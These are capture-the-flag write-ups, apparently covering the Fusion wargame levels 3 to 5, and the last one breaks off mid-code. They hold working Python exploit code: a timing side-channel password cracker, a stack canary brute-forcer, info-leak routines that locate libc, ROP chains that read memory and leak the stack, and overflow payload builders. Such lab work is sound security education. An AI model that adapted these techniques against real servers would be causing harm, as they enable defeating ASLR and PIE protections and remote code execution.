Fusion 5 Part 2

A short recap

We are working on a server with ASLR and PIE. The server do not fork for every new connection, Our solution must be reliable and cannot crash the server.  Last time We wrote a client for this server, found 2 buffer overflows, one of them was actually usable. We control the values of ebp, esi, edi and eip. And of course we control the stack.

Our Plan:

  1. Find a buffer overflow
  2. Find a memory read primitive
  3. Find a memory write primitive
  4. Find libc
  5. Find a stack/heap buffer we control

Lets look at that buffer overflow again, I want to see what we are overflowing with our overflow. So I place a breakpoint on get_and_hash and print the saved registers we overflow.

Breakpoint 2, get_and_hash (maxsz=0, string=0xb7805380 "\203\354\034\213D$ \213\220\224\003", 
 separator=-1217833557) at level05/level05.c:115
115 level05/level05.c: No such file or directory.
 in level05/level05.c
1: x/5i $eip
=> 0xb7803720 <get_and_hash>: push ebp
 0xb7803721 <get_and_hash+1>: xor eax,eax
 0xb7803723 <get_and_hash+3>: push edi
 0xb7803724 <get_and_hash+4>: push esi
 0xb7803725 <get_and_hash+5>: sub esp,0x2c
(gdb) x/s $ebp
0xb78037c0 <checkname>: "\203\354\034\211t$\024\213t$ \211\\$\020\350\223\364\377\377\201\303H9"
(gdb) x/s $esi
0xb8a0c850: "\004"
(gdb) x/s $edi
0xb8a0c860: 'a' <repeats 50 times>

hmm, $edi point to our buffer (The name we use for checkname). Lets look on the function checkname that calls get_and_hash

Can you explain what $edi is used for?

Edi contains the address of our buffer as we have seen, and it is passed as a parameter to the function get_and_hash on the stack. It is also used as the parameter for the %s in the call to the function fdprintf. The compiler assumes the value of $edi is not changed by the function get_and_hash. And that it can assume that the same value in $edi at the beginning of the function get_and_hash will stay there at the end of it. It assumes it because of something called a “calling convention” basically it is convention on what what register a called function may change, what registers it may not change and where do you pass the function arguments and return value from the function.

Because $edi is a callee saved register, the calle function (get_and_hash) had to save it on the stack and pop it back out before returning to the caller function. Because it was on the stack we could change its value.

The fact that we can control the value of $edi, means that we can read any address we want in the memory space. As long as we know that the address is mapped and that our program will not crash on reading it 🙂 I will call it memory read primitive 🙂

What’s next?

It is import to know that right now this read primitive is useless. As long as we don’t know what we would like to read. If we try to read an unmapped address The server will crash.

I gave it hard and long thought for a few days, and I figure out that as long as ASLR and PIE are active, I can’t do anything much. I think about trying a partial overflow of return address (only changing the lower byte of the return address), It is possible. And it will allow me to return into any address withing the 256 bytes range of the original return address of this function. I couldn’t find any useful address in this range. I could overflow 2 lower bytes of the return address which would allow me 256^2 possible return address to search for. But, ASLR and PIE both works in a resolution of a memory page. (In This platform the size of a memory page is 0x1000 bytes. In newer Iphones for example it’s 0x4000 bytes). Anyway, I can’t overflow 1.5 bytes and when I overflow 2 bytes I might hit an unmapped address and cause a crash.

I keep thinking about it for a few more days, And couldn’t find any new directions to look at. I try to play with the client a little bit and then

An unexpected breakthrough

After sending this command:

print send_checkname_command(s, "a" * 10)

I get this output:

$ python fusion5.py 
** welcome to level05 **
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is not indexed already

Something is off here. I can swear that there are more than 10 a’s in the output. I try it with 10 b’s and I get:

bbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaa is not indexed already

It takes me some time and some more playing with the program but I conclude that one of the buffers that the program is using is not being zeroed before usages. I use my gdb powerz, and figure out that inside the function childtask the buffer “char buffer[512]” is not being zeroed before usage , and we might be able to read whatever garbage is on the stack immediately after the name we input (Until we encounter a ‘\0’). This is where I start a few long days of trying to figure out what is on this stack and where. If we can cause this bug to output any useful address, this kind of bug is called an info-leak

Triggering the info-leak

The first thing I do is connect with a debugger and try to figure out if there is anything useful on the stack when this function is being called.

1: x/2i $eip
=> 0xb77ade4e <childtask+478>: call 0xb77ad7f0 <__strdup@plt>
 0xb77ade53 <childtask+483>: mov DWORD PTR [esi+0x4],eax

(gdb) x/32bx *(int*) $esp
0xb7bb75ca: 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62
0xb7bb75d2: 0x62 0x62 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75da: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75e2: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

We don’t see anything useful after our 10 b’s. (0x62 is ‘b’)

My next thought is that maybe after I will use the program with some other features of the server, this stack buffer are will be filled and then I will be able to access some data on it. (Impossible if you think about it, the “char buffer[512]” from the function childtask can not be affected by function that childtask is calling. ) The only hope is that It can be affected by something that happens before the function childtask is started.

We need to think of some kind of weird behavior that can cause us to get a different stack (or the same Stack after it has been filled with data). I guess the most obvious idea is to try to keep a few connections working in the same time.  Unfortunately this server will not handle our second request while the first task is waiting for input. And this is exactly the difference between tasks and threads. We don’t have a scheduler to simulate execution of both tasks in the same time. The second task will not run until the “main” (= childtask) of the returns.

I write the following functions:

def try_to_leak_data(length): 
  s = setup_session() 
  s.recv(100) 
 
  data = send_checkname_command(s, "A" * length) 
  data = data[length:] 
  data = data[:-len(" is not indexed already.")] 
 
  return data 
 
def search_for_data_leak(length, retries): 
  leaked_data = None 
  for i in range(retries): 
    data = try_to_leak_data(length) 
    if len(data) &gt;= 4: 
      print i, data.encode("hex") 
      leaked_data = data[:4] 
      break 
  return leaked_data 
 
def main(): 
  print hex(buffer_to_address(search_for_data_leak(10,100))) 

I run it a few times. Sometimes it works giving me an output like this:

$ python ./fusion5.py 
15 38747eb723
0xb77e7438

Notice that 15 is the number of iterations needed to get this data (out of maximum 100 tries). After it worked once. the second time I run it I get the same output but in iteration number 0. And after I kill the server and restart it sometimes I can’t leak any info from it.

anyway let’s explore this address I can sometimes leak from the server:

(gdb) x/1wx 0xb77e7438
0xb77e7438 <main_arena+56>: 0xb93b9598

With “info proc map”, in gdb I confirm that this address is in libc!

After some more restarting the server and running my script I find out that I can get this address in libc about 1/3 of the times

Finding libc

Of course 1/3 of the times is not good enough. I keep trying different lengths for the buffer I send (Essentially searching on the stack in different offsets) . And after some more trial and error I find out that if I will try to length 2, 6, 10 I will always get an address by doing it.

The thing is, I get different addresses every time I restart the server. (And cause ASLR to randomize the address space). Remember how I said ASLR only works at the resolution of a memory page? I wasn’t kidding about it 🙂 Anyway, I figured out that every time I get an address that ends with 0x438, I can subtract 0x179438. and get the load address of libc. In the same way I mapped about 10 different offsets withing pages of address I got while running and restating the server. For each of these I mapped the right offset of it from libc. It is worth mentioning that some of the time I got an offset inside ld. It took me a lot of trials of exploiting the bug with the address of libc until I tested it and saw that libc is in a constants offset from ld (At least in the target VM). I ended with this function:

POSSIBLE_LEAKS_DICT = { 
  0x6ec: 0x96ec + 0x189000, 
  0x13d: 0x913d + 0x189000, 
  0xff4: 0x1eff4 + 0x189000, 
 
  0xbc8: 0x187bc8, 
  0x8d8: 0x1878d8, 
 
  0xf30: 0xcf30, 
  0x430: 0x179430, 
  0x438: 0x179438, 
} 
 
def find_libc(): 
  libc_addr = None 
  for l in [2, 6, 10]: 
    print l 
    data = search_for_data_leak(l, 10) 
    if (data is not None) and data != "AAAA": 
      addr = struct.unpack("I", data)[0] 
      print l, hex(addr) 
      lsb = addr &amp; 0xFFF 
      if lsb in POSSIBLE_LEAKS_DICT: 
        libc_addr = addr - POSSIBLE_LEAKS_DICT[lsb] 
  return libc_addr 

This function seems to find libc on every try. And it seems like a good place to stop. So to recap, we found an absolute memory read, and we found libc. Next time we will see how we can exploit these bugs. See you next time 🙂

Fusion 5

Good day guys, Today we will work on Fusion 5. As far as I know, the only other solution for it online was done by my friend Ariel Koren in his blog. Ariel and myself have worked on it in the same time, and what is so cool in this field is that our solutions are completely different from one another. After you are done with reading my solution, go check out his solution to see different way to solve the same problems 🙂

The challenge ahead

Beautiful picture to get you to keep reading

As with the previews levels of this Fusion series, again we are faced with a server that receives connections, and again we need to find and exploit a few bugs in order to get a working Remote-Code-Execution (RCE). Again we face Position Independent Executable (PIE), Address Space Layout Randomization (ASLR), none-executable-stack and heap, and source fortification.

After reading the source, we know that we are dealing with a server that has 5 commands, we will have to find a bug in at least one of them in order to get our RCE. The commands are:

addreg - Registers a server in the db
senddb - Sends the db to a chosen host and port
checkname - recives a server name and tells if it is indexed in the db
quit - Ends the session of our connection
isup - Tries to connect to all of the hosts in the db
       sends each of them its db entry.

Each of those commands is executable by a “task” we know that because we see reference to the function “taskcreate” in the source. This is really bad news, for anyone who doesn’t know what is a task. I can tell that the definition is kinda fuzzy but usually when someone talks about tasks they mean user-mode-thread. If it is the case in here, we should know that:

  1. Every task has its own stack.
  2. All of the tasks share the same address space.
  3. If we crash one task the whole program will crash.

If we are right about how the program works with tasks, After we will find a buffer overflow and crash the program, Our work will be 100 times harder than in the previews challenges in this series. Spoiler-alert, the internet is filled with solutions to Fusion:0, 1 ,2 ,3 ,4.  Not for Fusion 5. But we are getting ahead of our selves.

Writing a working client

I write my client which is quit simple, I pulled my hair about why I don’t get response from this line:

printf("registration added successfully");

I connected with a debugger and made sure my input for addreg is working, and the printf is being called (It is optimized into puts). and then I saw

Which teaches us that we are not getting the output of stdout. That makes sense because the server supports multiple clients on the same process. And file descriptors are unique per process.

 
#! /usr/bin/env python
import socket
import time

PORT = 20005
HOST = "VM"

def setup_session(source_port = None):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  return s

def send_command(s, command, wait_for_output):
  command += "\n"
  s.send(command, len(command))
  time.sleep(0.1)
  if wait_for_output:
    return s.recv(100)

def send_checkname_command(s, text, read_output = True):
  return send_command(s, "checkname " + text, read_output)

def send_addreg_command(s, text, read_output = True):
  return send_command(s, "addreg " + text, read_output)

def main():
  s = setup_session()
  print send_checkname_command(s, "Name")
  send_addreg_command(s, "Name 0 8.8.8.8", False)

I run this client and get this output:

$ python fusion5.py 
** welcome to level05 **
Name is not indexed already

None

It is kind of working and I move on to search for the buffer overflow.

The Buffer overflow

After carefully reading the source I noticed he function senddb. The passes over all of the lines in the database (actually array of struct registrations) copies all of the non-empty entries in this array to a buffer and sends the buffer to a given server. What was weird in my eyes is that the buffer is in the size of 512 bytes, while every entry in the array is 6 bytes.  512 is not divisible by 6 (because it is not divisible by 3). which means something here is fishy. multiplying the size of the database (128) by the size of each entry(6) gives us 768 bytes. which means that we can overflow our buffer by 256 bytes. This should be pretty good. now let’s see how can we control the data in this array.

In order to add an entry into the array, we need to use the addreg command. This command receives a host name, ip and flags (short number), and adds this name into the database with its flags, the index in the database that would be used for this entry is a hash that is calculated on the host name. After thinking about it, we can “break” the hash by implementing the hash function in python, and finding a suitable name for every entry in the hash table (Simply by brute-forcing names.)

I did it, and now I can make sure the database struct is full with whatever I want in every index. This way I can control the data that I overwrite the struct with and I even managed to crash the program.

But, considering it more carefully, I can’t really write what every I want into this struct (and later the stack overflow) because of those 2 line inside addreg function:

it means that if the flags part of the entry can not have any bit that are not in 0x00e0 on. At first I thought I can maybe work out something with it, but it really complicates my work. basically it means I really control only 4 out of every 6 bytes of the overflow. After I banged my head against the wall trying to think of how do I continue from here.

On one hand, the previous levels all had some kind of pseudo-cryptographoic challenge. So it makes sense that I need to use this trick with the hash table. On the other hand, we don’t have the address of the main binary, we don’t have the address of libc- or any other lib for that matter. We don’t have the stack address, and we can’t brute-force address because the program will crash and that’s it.

Fuck it, We need another buffer overflow

We go back to the source code, and we try to find another buffer overflow. We find out that the function get_and_hash receives a buffer, max_size for that buffer and a separator. it copies the buffer into a local stack buffer until reaching the separator, but without considering max_size. Well max_size is only tested to make sure its not bigger than the length of the local buffer. The input buffer is not validated against max_size. As if the function assumes that no one will pass a buffer longer than max_size. Guess who passed a buffer longer than max size? That’s right, I did 🙂

This function is called from the command checkname on the name to be checked and returns a hash for this name. Unless of course we overflow it. I call this function from the main in my client while being connected with the debugger:

  print send_checkname_command(s, "a" * 50)

Meanwhile in gdb:

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x61616161: Cannot access memory at address 0x61616161
(gdb) i r
eax 0x11 17
ecx 0x61 97
edx 0x2c50 11344
ebx 0xb783811c -1216118500
esp 0xb8d38c10 0xb8d38c10
ebp 0x61616161 0x61616161
esi 0x61616161 1633771873
edi 0x61616161 1633771873
eip 0x61616161 0x61616161
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

We have a buffer overflow and we control most of the registers. Want to know how do we exploit it? Want to know how do we overcome ASLR? Read the next post in this series 🙂

Fusion 4 Part 2

Hey guys and girls,

Here is a short recap of what we have and where we are standing, Fusion 4 – web server that works by forking a new child for each connection. We found a buffer overflow, we bypassed Source Fortification (Canary), we Found the load address of the binary and this way bypassed Position Independent executable (PIE).

For anyone who hasn’t read Fusion 4 – part 1 This is the time to go and read it 🙂

Game plan:

  1. Understand what are primitives.
  2. Find the main binary.
  3. Find Libc.
  4. Return into system with whatever commands you want to run on the target machine.

Primitives

I think it now is the time to talk about primitives. What are primitive in this exploitation world you might ask yourself. Well, a primitive, as suggested by it’s name is our ability to do something very simple and primitive. A real world exploit might be very complicated, but to understand how it works and to develop it, we will think and work with much simpler “tools” each of those tools will be called a primitive.

For example, Let’s say we found a way to read the content of a given address. We would call it an absolute memory read primitive. Or let’s say we know how to write whatever we want into a given address, that is an absolute memory write primitive. From now on we will try to talk and think in that new language. Because this is how the big boys talk.

New Game plan:

  1. Find an absolute memory read primitive.
  2. Read an address on the stack (Find the location of the stack)
  3. Read the location of libc by reading the .got.plt.
  4. Use the location libc, and the stack buffer to return into the function system in libc.

Absolute memory read primitive

As we have seen before, one of the most useful tools for breaking ASLR and exploiting vulnerabilities is having the Absolute memory read primitive. This primitive, in simple language it is the ability to read the content of any memory address we would like.

In earlier stages we got it by roping into printf with %s as format string, and a pointer to libc  we know we have in a constant offset in the main binary as the parameter to printf. We don’t need to reinvent the wheel and we will do it again in this stage. The only thing I have to say about it is that in this binary we had the address of __fprintf_chk and not of printf. (Remember we have the address of the binary and not of libc, so we can only call functions in the main binary).

Assume x is where the return address of the function was. Assume the format string of the printf contains %s

Here is the new code for this part.

def memory_read(password, canary, ebx, main_exe, address, length): 
  rop = [ 
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  address,# address to read 
  ] 
  payload = ebx + "a" * 12 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
  memory = memory[:length] 
  return memory 
 
def get_libc_address(password, canary, ebx, main_exe): 
  # reading the address of open in the .got.plt of the main exe 
  address_of_open = memory_read(password, canary, ebx, main_exe, main_exe + 0x41a4, 4)
  libc_address = buffer_to_address(address_of_open) - 0xc0b60 
  return libc_address 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 
  # ebx, esi, edi, ebp, eip 
  ebx = brute_force_ebx(password, canary) 
  print "ebx is ", ebx.encode("hex") 
  main_exe = buffer_to_address(ebx) - 0x4118 
 
  raw_input("press any key to continue") 
  libc = get_libc_address(password, canary, ebx, main_exe) 

I run and test it, and it works.. Now we have the memory read primitive and the address of libc. We can cross items number 1 and 3 from our game plan.

Stack read primitive

Like I said, we want to be able to know the address of the stack pointer (which is changed by ASLR for each time the process restarts). To do that we will build a stack read primitive. Our stack read primitive will work just like the memory read primitive, the only difference is that we will not supply the printf format with a format string, this way whatever is on the stack after our overflow will be used as a pointer to a format string, with a little bit of luck* the stack will contain a pointer to a pointer to a stack address.

* Well, no luck is needed because saved ebp points to previous saved ebp until the first function call of the program. So we should be able to find one of these saved ebps.

After testing what I said in the previous 2 paragraphs, I figured out that in our case, After writing on the stack the overflow we need for memory read, we don’t have any saved ebp on the stack, It sucks, but we will have to find a different way to get our esp.

Stack read primitive – take 2

We already know how to read a given address in our memory. What if we could write the stack pointer into a given address and than read from it?

If you recall, In Fusion 3 I found out that we have the following gadget in libc:

1:
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

Together I can write the stack pointer into whatever memory address I want. And later read from there with the memory read primitive we have. All I have to do is to find an address I can write into, and chain the memory read with the memory write of esp.

gadgets 1,2,3 will write ESP into “Storage for esp”. Rest of the stack will be used to print the content of “Storage for esp”

I did it and got an address which is 0x813 bytes from the end of my password in the buffer I control. Now I will pass a bash line on this buffer, call system and win.

new function:

 
def get_stack_address(password, canary, ebx, main_exe, libc_address): 
  # Unused in the .bss section 
  esp_storage = main_exe + 0x467f 
  rop = [ 
  # Writing esp to esp_storage 
  libc_address + 0x0015ffc9, # push esp; jmp esi 
  
  # pop ecx; pop edx; ret - in esi 
  esp_storage, 
  libc_address + 0x001633a0, # xchg [edx], ecx; ret 
  
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  esp_storage, 
  ] 
  # second gadget 
  new_esi = address_to_buffer(libc_address + 0x0002da2b) 
 
  payload = ebx + new_esi + "1234" + "\x00"*4 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
 
  # sizeof address 
  length = 4 
  memory = memory[:length] 
  # 0x813 is the distance between the address I get and the end of the 
  # password in the details buffer in validate_password. 
  return buffer_to_address(memory) - 0x813 

Exploit

The exploit is trivial, after we have the address of libc, and our buffer. We will overflow, return into the function system with our buffer as a parameter. The buffer will contain whatever we would like to run in system. If you really want to see it in code, look at any of the previous articles in this series 🙂

Fusion 4

Today we will try to solve Fusion 4. This level is a lot more complicated than the previous ones, so I might split it into 2 articles.

What we will do:

  1. Read and understand the program well.
  2. Find the stack overflow.
  3. Write a simple client.
  4. Verify our stack overflow.
  5. Find the location of the main binary
  6. Find libc.
  7. Find a known buffer.
  8. exploit.

Understanding the program:

The program is an http server that works as a fork-and-exec server. Seems like there is some kind of password that we will have to brute-force or something. To our “luck” the password is generated before the fork, so it will be the same as long as we don’t restart the father process. The server only implements http-get method which should return a file saved on the server. My guess is that we will find the vulnerability in parsing of the request or path to file.

We will also have to deal with Address Space Layout Randomization (ASLR), Position Independent Executable (PIE) which is ASLR for the main binary and Source Fortification whatever that means… seems like a fun program 🙂

Annnnddd, I found the buffer overflow. It is in the function validate_credentials we try to base64_decode “char * line” into “unsigned char details[2048]”, line is sent from  the function webserver and is part of “char line[10000]”. Seems like it would be easy to overflow.

Now let’s write the simple client. Ok after some playing and tweaking with my code the client works. And it can also overflow the stack buffer. But, The function send_error calls exit after sending its error. Which means we must have the right password when we overflow the buffer..

 
#! /usr/bin/env python 
import socket 
import string 
import time 
 
PORT = 20004 
HOST = "VM" 

def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  return s 
 
def send_request(method, path, protocol, auth, s = None): 
  if s == None: 
    s = create_a_session() 
 
  request = "{} {} {}\n".format(method, path, protocol) 
  s.send(request) 
  auth = "".join(auth.encode("base64").splitlines()) 
  request = "Authorization: Basic " + auth + "\n" 
  s.send(request) 
  s.shutdown(socket.SHUT_WR) 
 
  return s.recv(1000) 
def main(): 
  print send_request("GET", "/etc/hosts", "HTTP/1.0", "a" * 3000) 
 
if __name__ == "__main__": 
  main()

So this is our next task.

Cracking the password

If you read validate_credentials carefully, you will see that the delay after wrong password is affected by the number of wrong chars in the password. We will use it to brute force the password one char at a time. Consider this algorithm:

  1. Try all of the password in length 1
  2. Time every attempt.
  3. Choose the letter that had the fastest error returned for it

This way we can guess the entire password in O(n * m) instead of O(n^m)- where n is the length of the password and m is the size of the alphabet of the password.

 
def try_password(password): 
  s = create_a_session() 
  s.settimeout(4) 
  start_time = time.time() 
  send_request("GET", "/etc/hosts", "HTTP/1.0", password, s) 
  try: 
    s.recv(50) 
    end_time = time.time() 
  except socket.timeout, e: 
    print "Time out", 
    return False 
  total_time = end_time - start_time 
  return total_time 

POSSIBLE_PASSWORD_CHARS = string.ascii_letters + "".join([str(i) for i in range(0,10)])
PASSWORD_LENGTH = 16 
PASSWORD_CACHE = ":Ylp5kLoBgVSy7yCb" 
TIME_EPSILON = 0.0015 
def brute_force_password(): 
  all_password = ":" 
  roundtime_trip_time = 0 
 
  for i in range(10): 
    roundtime_trip_time += try_password("") 
    roundtime_trip_time = roundtime_trip_time / 10 
    time_treashold = roundtime_trip_time + TIME_EPSILON 
    print time_treashold 
    if (time_treashold > try_password(PASSWORD_CACHE)): 
      return PASSWORD_CACHE 
 
  for _ in range(PASSWORD_LENGTH): 
    for c in POSSIBLE_PASSWORD_CHARS: 
      temp_password = all_password + c 
      # try the password twice to make sure the timeout is not by accident 
      if (time_treashold > try_password(temp_password)) and (time_treashold > try_password(temp_password)):
        all_password = temp_password 
        break 
  if len(all_password) < PASSWORD_LENGTH: 
    print all_password 
    raise "WTF, can't brute force password" 
  return all_password 

We try to overflow the stack and this time we get this message:

*** stack smashing detected ***: /opt/fusion/bin/level04 terminated

After some investigation, I figure out that the Source Fortification contains a canary, and that our stack overflow, overflowed it. Seems because the canary is set when the process is created and is not changed for each forked child, we can bruteforce the canary as well.

gs:0x14 points to a value that is randomized once when the process starts. it is saved into a stack register at the last 2 op-codes of this block
gs:0x14 is compared to the value that we saved on the stack. And if it was overflowed by a different value the program will crash.

 

Brute forcing the whole canary is hard and would take us 2^32 attempts which is a lot. So, we are lucky enough that we can try to brute force one char (8 bits) at a time. This way we only need 2^8 * 4 attempts which is 1024 and a LOT less than 2**32.

It is super important to understand here that the reason we are allowed to brute force and we don’t care to crash the program is that the server is a father process that forks a different child process for each connection. all of the children have the same address space (and canary) and nothing bad happens if a child  process dies.

 
CACHED_CANARY = address_to_buffer(0xd6d1200) 
def brute_force_canary(password): 
  good_response = guess_canary(password, "") 
  cached_response = guess_canary(password, CACHED_CANARY) 
  if good_response == cached_response: 
    return CACHED_CANARY 
 
  canary = "" 
  for j in range(4): 
    for i in range(0x100): 
      response = guess_canary(password, canary + chr(i)) 
      if good_response == response: 
        canary += chr(i) 
        break 
  return canary 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 

I coded this brute force and of the stack canary and it works. I confirmed it by letting the debugger crash and printing the registers we control:

eax            0x1      1
ecx            0x0      0
edx            0x0      0
ebx            0x62626262       1650614882
esp            0xbfce2ce0       0xbfce2ce0
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x63636363       0x63636363
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Yay for us!

Well, next thing we need to do is to find the main binary,

I run my client without overflowing $eip and the server crashes. It crashes here:

It crashes because of the value of esi is not correct. I compare it to the source code and it seems like this line it is this line:

Again we can brute force esi byte by byte, and we can probably find a stack buffer we control in a place relative to esi. If we guess esi correctly, we will get a certain response and if we will guess incorrectly, we will get a different response (probably a crash of the server and no response at all.)

I coded it but it didn’t work. After looking at the function “webserver” in ida, i understood that we overflow ebx and it is also an address of a stack buffer. And the program crashes before it returns any useful output with corrupted ebx. So let’s do what we said about esi but with ebx

In my case ebx was 0xb7804118. I compared it to the list of loaded image and found out it’s exactly 0x4118 bytes away from the main binary.

So we can say we found the load address of the main executable and that we have beaten PIE (Position Independent Executable). In this example. (a forking server we can crash infinite number of times while the address space won’t change)

Soooo, I coded a brute force for esi, but I get the first 2 bytes to be 0x01 and only then I get the right bytes of the address. I learn from it that we don’t need the right value of esi in order for the program to work as expected, only a value of an address which is mapped. I guess I would have to find another way to find esi (or the address of a stack variable).

So In this article we managed to:

  1. Understand the code.
  2. Find a buffer overflow.
  3. Find a password using Timing side channel attack.
  4. Brute force a canary.
  5. Find the load address of the executable (beating PIE )

We will continue with finding libc, a buffer and roping into system in the next article 🙂

Fusion 3

Hello boyz and girlz. Today I will solve fusion 3. But I must go play Sattelers of Catan with friends later so let’s make it quick 😀

There is an old saying that goes something like: “Fast is slow, slow is fast, do it once and do it right.” So we will try to work in baby steps in order to finish this post and exploit fast… btw remember it next time you play an escape room.

First thing we do is go and read the code of Fusion-3. Take as much time as we need to understand what it should do..

Here is what I understood:

  1. It is some kind of web server.
  2. It allows us to post articles after authentication.
  3. Every connection is forked and therefore has the same address space of the parent process. Which means infinite number of times we can crash the program in our solution.

Game plan:

  1. Read the code and find the vulnerability.
  2. Write a working client for this server.
  3. Find the address of libc
  4. Use the legitimate code flow to store a string in one of the 2 globals that can store strings (gContents or gTitle)
  5. Call system on this string
  6. Win this game of Catan with friends

* I read the code again and we can’t do it. These globals are just pointers, the actual strings will be malloced I would have to deference them to make it work. Let’s find libc and then decide how to continue

Crashing the program

To find the vulnerability I search for ‘[‘ in the code, because I am looking for arrays. Specifically looking for bugs in handling of arrays. Pretty fast I understand that the arrays I can work with are either title or content in the function handle_request, and that the bug must be in decode string.

If you look carefully at the loop in the function. If somehow we manage to increase dest so that dest > end when the condition is tested we get can overflow the buffer and stop at /0. I bealive that we found an overflow. But we will have to test it.

Consider the loop condition

Our next job is to write a working client…

Because the program do not print it’s errors, I connect with ssh to the VM that runs the machine, and using gdb  I place a breakpoint on the function errx, every time my client fails I try to understand why.

Basically we need to send a request that looks like this:

// TOKEN
{
json
}

But the request must also match a certain hash function. The first 2 bytes of the hmac-sha1 hash of the entire request must be 0. I do it by adding a comment at the end of the request and brute forcing values. I work on my client until I get the error message “Unable to parse request”, fair error for a request of “a”* 128 :D. Anyway it means that my request passed the hash test. Which is what I was going for. I change the json body to something that should trigger the function decode_string, make sure it triggers decode_string with a debugger. and then save it up as a working client.

#! /usr/bin/env python 
import socket 
from hashlib import sha1 
from string import ascii_letters 
import hmac 
import random 
 
PORT = 20003 
HOST = "VM" 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  # The token is sent to us with \" before and after 
  token = s.recv(1000)[1:-2] 
  return s, token 
 
def find_working_placeholder_for_mac(token, request): 
  request = request + "\n //" 
  expected_len = len(request) + 6 
  # WTF?!? what kind of stupid bug is this? 
  # request must be in even length 
  if (expected_len % 2) != 0: 
    request += " " 
 
  while True: 
    word = ''.join(random.sample(ascii_letters, 6)) 
    new_request = "%s%s" % (request, word) 
    hashed = hmac.new(token, new_request, sha1) 
    hex_digest = hashed.hexdigest() 
    if(hex_digest.startswith("0" * 4)): 
      print "found a placeholder for the digest, len = %x token_len = %x" %(len(new_request), len(token))
      return new_request 
 
def send_a_request(s, token, json): 
  request = "{token} \n {json}".format(token = token, json = json) 
  new_request = find_working_placeholder_for_mac(token, request) 
  s.send(new_request)

def main(): 
  s, token = create_a_session() 
  send_a_request(s, token, "{\"title\" : \"Rick and Morty\"}") 
  print s.recv(1000) 
 
if __name__ == "__main__": 
  main() 

I write the code to overflow the buffer in decode_string. I chose the title buffer because it’s the first variable in the function which means It should be closest to the return address of the function. I had some small bugs in my code  my code is perfect on the first try!

I get to this point:

(gdb) info registers 
eax            0xffffffff       -1
ecx            0xb75a2398       -1218829416
edx            0xffffffff       -1
ebx            0x62626262       1650614882
esp            0xbff2fc70       0xbff2fc70
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x62626262       0x62626262
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

As you can see I control most registers. I save the client script and start working on the exploit itself 🙂

def build_json_tag(tag, value): 
  return "\"{}\" : \"{}\"".format(tag, value) 
 
def build_overflowed_title(payload): 
  data = "a" * 127 
 
  # The 128th byte is not an overflowed byte yet. 
  # The 16 bytes are local vars and stuff that dosn't matter. 
  # They are being written before being read.
  payload = "\x00" + "a" * 16 + payload 
  for i in xrange(len(payload)/2): 
    byte1 = ord(payload[i * 2]) 
    byte2 = ord(payload[i * 2 + 1]) 
    data += "\\\\u%.4x" %(byte1 * 0x100 + byte2, ) 
 
  # adding bytes with /u adds 2 bytes at a time. 
  if (len(payload) % 2 == 1) and ord(payload[-1]) == 0: 
  raise "last byte of even length payload must not be zero" 
 
  if (len(payload) % 2 == 1): 
    data += payload[-1] 
 
  if "\x00" in data: 
    raise "bug in code, \x00 should be encoded by now." 
 
  return build_json_tag("title", data) 
 
 
def main(): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  json = "{%s}" % (build_overflowed_title("b" * 20), ) 
  send_a_request(s, token, json) 

leaking the info

Now we need to figure out what can we do with it… excuse me. I meant to say: Now we need to figure out how do we find libc with what we have. On a personal note, this is the part I like the most in this kind of work. Because it is like solving a giant complicated Sudoku puzzle.

Well the trick with printing stuff we did in fusion 2  will not work here. The reason it won’t work is that the program closed stdin, stdout and stderror. So we will not get any output from printing them.

What can we do? We can use any function in the import table of the main binary. And we can use any function inside the binary (Because this is not compiled as Position Independent code), the load address of the binary is static. And we can use any constant we need as a function argument.

This is pretty much all of the external functions we can use. Take your time and try to think if you know how can we get the address of libc.

After thinking about it I figured out we can build an absolute read primitive from what we have by doing this:

  1. Pass serverip as our ip address,
  2. Pass a contents with whatever length we want to read. Just to set gContents_len with the length of the data we want to read.
  3. Rop into memcpy(gContents, address_to_read, 4) and then post_blog_article. This will cause the program to copy from whatever address we want into the global gContent, and then read from this address and send it to our IP address in HTTP format! We will read the address of a function in .got.plt and will calculate the offset of libc.

I code this up and it works! Now we have the address of libc and we can read any address we would like in the program’s address space. Just needs to find the address of a buffer we control

def get_local_ip(): 
